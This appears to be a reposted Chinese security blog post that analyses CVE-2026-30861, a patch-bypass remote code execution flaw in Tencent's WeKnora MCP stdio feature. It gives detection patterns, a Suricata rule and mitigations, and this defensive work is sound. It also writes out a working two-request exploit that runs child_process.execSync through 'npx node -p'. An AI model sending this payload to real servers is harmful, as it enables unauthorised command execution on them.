文章总结: 本文详解腾讯开源项目WeKnora的严重RCE漏洞CVE-2026-30861,该漏洞因黑名单过滤不严导致补丁绕过,攻击者可利用npx参数组合执行任意代码。文章分析了低门槛利用方式,指出官方静默修复致用户长期暴露。文中给出升级版本、接口拦截等修复建议,并强调黑名单机制局限与安全公告透明度的重要性。 综合评分: 92 文章分类: 漏洞分析,漏洞预警,应用安全,应急响应
腾讯开源项目现严重 RCE 漏洞:两行请求拿下服务器,CVE-2026-30861 详解
原创
CVE-SEC CVE-SEC
CVE-SEC
2026年3月9日 11:58 四川
腾讯开源项目现严重 RCE 漏洞:两行请求拿下服务器,CVE-2026-30861 详解
漏洞编号: CVE-2026-30861披露日期: 2026-03-07CVSS 评分: 9.9(严重)受影响版本: WeKnora 0.2.5 至 0.2.9
一个”补丁绕过补丁”的故事
这个漏洞有一条值得关注的背景线索。
2026 年 1 月,WeKnora 修复了一个严重的命令注入漏洞(CVE-2026-22688)。修复的思路是:在 MCP stdio 配置中引入白名单,只允许 npx 和 uvx 两个命令,同时对参数建立黑名单过滤危险输入。
两个月后,CVE-2026-30861 披露了——攻击者绕过的,正是这套修复方案本身。
这是安全领域里一个极为经典的场景:不完整的补丁,制造了新的攻击面。
WeKnora 是什么
WeKnora 是腾讯开源的基于大语言模型的文档理解与语义检索框架(GitHub:Tencent/WeKnora,MIT 协议)。它遵循 RAG(检索增强生成)范式,能够解析 PDF、Word、Markdown、图片等多种格式文档,通过向量检索结合 LLM 推理,为企业提供私有化智能问答能力。
WeKnora 还是微信对话开放平台的核心技术底座,支持将知识库无缝集成到微信公众号和小程序中。
漏洞存在于它的 Agent 能力模块——MCP(Model Context Protocol,模型上下文协议)集成功能中。MCP 是一种将 LLM 与外部工具连接的开放协议,WeKnora 支持通过 stdio 模式在服务器端启动外部子进程,将其作为 MCP 服务器使用。
问题就出在这里:服务器端执行外部命令,参数验证不完整。
漏洞原理:白名单被自己打穿
WeKnora 在修复前一个漏洞时,引入了如下限制:
- command 字段只允许填写 npx 或 uvx(白名单)
- args 参数通过正则(DangerousArgPatterns)过滤危险关键词(黑名单)
这套机制有一个盲点。
npx 是 Node.js 生态的包执行工具,它可以把 node 本身作为第一个参数传入,然后通过 node 的 -p 标志(–print)执行并打印任意 JavaScript 表达式。这个 -p 标志从未被加入 DangerousArgPatterns 黑名单。
于是攻击者只需要这样构造参数:
command: "npx"
args: ["node", "-p", "require('child_process').execSync('id').toString()"]
验证逻辑的判断过程:
- command 是 npx,白名单通过。
- args 里有 node,是合法的可执行文件名,通过。
- -p 不在黑名单里,通过。
- 配置写入数据库,等待触发。
触发一个测试接口后,服务器实际执行的命令是:
npx node -p "require('child_process').execSync('id').toString()"
这等价于直接运行 node,并执行了攻击者注入的任意 JavaScript 代码。通过 Node.js 内置的 child_process 模块,任意操作系统命令都可以执行。
攻击门槛极低:两次请求完成利用
整个攻击流程只需要两个 HTTP 请求。
WeKnora 默认允许任意用户自由注册,无需邮箱验证或管理员审批。攻击者注册账号后即可获取 JWT 令牌,随即以普通用户身份完成利用。
第一步,创建恶意 MCP 服务配置:
POST /api/v1/mcp-services
Authorization: Bearer <token>
{
"name": "test",
"transport_type": "stdio",
"stdio_config": {
"command": "npx",
"args": ["node", "-p", "require('child_process').execSync('id').toString()"]
}
}
第二步,触发执行:
POST /api/v1/mcp-services/<id>/test
Authorization: Bearer <token>
服务器以应用进程权限执行命令,结果直接返回。
实际攻击场景中,payload 可以替换为:读取数据库凭证和 LLM API Key、写入 WebShell、建立反弹 Shell、向内网横向移动。整个利用过程可以完全自动化,技术门槛极低。
静默修复:用户在不知情中暴露了七周
这个漏洞有一个特殊的时间维度值得单独说明。
2026 年 1 月 16 日,WeKnora v0.2.10 发布,修复方式是完全禁用 stdio 模式的 MCP 服务器。这一修复本身没有问题,但官方没有随版本发布任何安全公告,没有提示用户存在严重漏洞需要升级。
直到 2026 年 3 月 7 日,GitHub Security Advisory 正式披露这个漏洞,CVE 编号才被公开。
中间间隔了将近七周。在这段时间里,运行 0.2.5 至 0.2.9 的用户不知道自己已经暴露在一个 CVSS 9.9 的 RCE 漏洞下。
静默修复在软件工程实践中有时出于合理考量,但对于安全漏洞而言,不告知用户升级的必要性,客观上延长了受攻击窗口。
这个漏洞揭示的深层问题
黑名单防御机制在面对通用解释器时,存在结构性弱点。
当一个系统允许用户配置要在服务器端执行的命令时,这个执行路径本身就是高风险操作。任何基于关键词匹配的过滤,都面临两个困境:枚举不完整(总有遗漏的参数标志),以及语义理解缺失(同一标志在不同上下文中含义不同)。
CVE-2026-30861 的利用点 -p,在 npx 上下文里是 –package(安装包),在 node 上下文里是 –print(执行并打印 JS)。黑名单无法区分这两种语义。
官方最终选择完全禁用该功能,而非修补验证逻辑,也间接说明:在允许用户控制服务器端子进程命令的前提下,参数过滤本身难以构成足够强的安全保证。
时间线
| 日期 | 事件 | | — | — | | 2026-01-10 | CVE-2026-22688 披露,影响 WeKnora < 0.2.5,属直接命令注入 | | 2026-01-16 | WeKnora v0.2.10 发布,静默禁用 stdio MCP,未附安全公告 | | 2026-03-05 | CVE-2026-30861 被 MITRE 保留 | | 2026-03-07 | GitHub Advisory GHSA-r55h-3rwj-hcmg 正式公开 |
检测与响应
判断自身是否受影响:
运行 WeKnora 0.2.5 至 0.2.9 版本,且 MCP stdio 功能处于启用状态,即受本漏洞影响。
排查是否已遭利用:
检查 WeKnora 后端日志,重点关注以下模式:
- 存在对 /api/v1/mcp-services 接口的 POST 请求,且请求体中 args 字段包含 node、-p、child_process 等关键词
- 新注册账号在注册后极短时间内即进行了 MCP 服务配置操作
- 后端进程(Go 进程)产生了异常子进程(npx 或 node 进程),子进程又派生出 bash、sh、curl 等 shell 进程
网络流量检测特征(Suricata 规则参考):
alert http any any -> $HTTP_SERVERS any (
msg:"CVE-2026-30861 WeKnora MCP Command Injection";
flow:to_server,established;
http.method; content:"POST";
http.uri; content:"/api/v1/mcp-services";
http.request_body; content:"\"npx\""; content:"\"-p\"";
classtype:web-application-attack;
reference:cve,2026-30861;
sid:2026308610;
rev:1;
)
修复建议
首选:立即升级
将 WeKnora 升级至 v0.2.10 或更高版本。官方发布页:https://github.com/Tencent/WeKnora/releases
无法立即升级时的临时措施:
- 在反向代理层拦截 /api/v1/mcp-services 接口,阻止外部访问(Nginx 示例:
location ~ ^/api/v1/mcp-services { return 403; }) - 关闭 WeKnora 的开放注册功能,改为管理员手动创建账号,提升攻击者获取认证凭证的门槛
- 确保 WeKnora 进程以最小权限账号运行,而非 root,缩小命令执行后的危害半径
- 将 WeKnora 实例限制在内网访问,不将 API 端口直接暴露于公网
升级后验证:
尝试调用 POST /api/v1/mcp-services 创建一个 transport_type 为 stdio 的服务,若接口返回错误或功能不可用,说明修复已生效。
小结
CVE-2026-30861 的价值不只在于它的评分或影响范围,更在于它展示了一个完整的安全闭环:初始漏洞、不完整修复、修复被绕过、静默再次修复、最终公开披露。
对防御者而言,这个案例值得关注的有两点:其一,基于黑名单的参数过滤,在面对具有多重语义的工具参数时,存在系统性缺陷,应优先考虑白名单约束或从架构层消除危险操作;其二,静默修复安全漏洞会让用户在不知情的状态下长期暴露风险,建议在评估运行的开源组件时,定期关注其安全公告渠道,不能仅凭版本更新日志判断是否存在安全问题。
参考资料
- GitHub Security Advisory GHSA-r55h-3rwj-hcmg:https://github.com/Tencent/WeKnora/security/advisories/GHSA-r55h-3rwj-hcmg
- NVD CVE-2026-30861:https://nvd.nist.gov/vuln/detail/CVE-2026-30861
- GitLab Advisory Database:https://advisories.gitlab.com/pkg/golang/github.com/tencent/weknora/CVE-2026-30861/
- WeKnora 项目主页:https://github.com/Tencent/WeKnora
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:CVE-SEC CVE-SEC CVE-SEC《腾讯开源项目现严重 RCE 漏洞:两行请求拿下服务器,CVE-2026-30861 详解》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论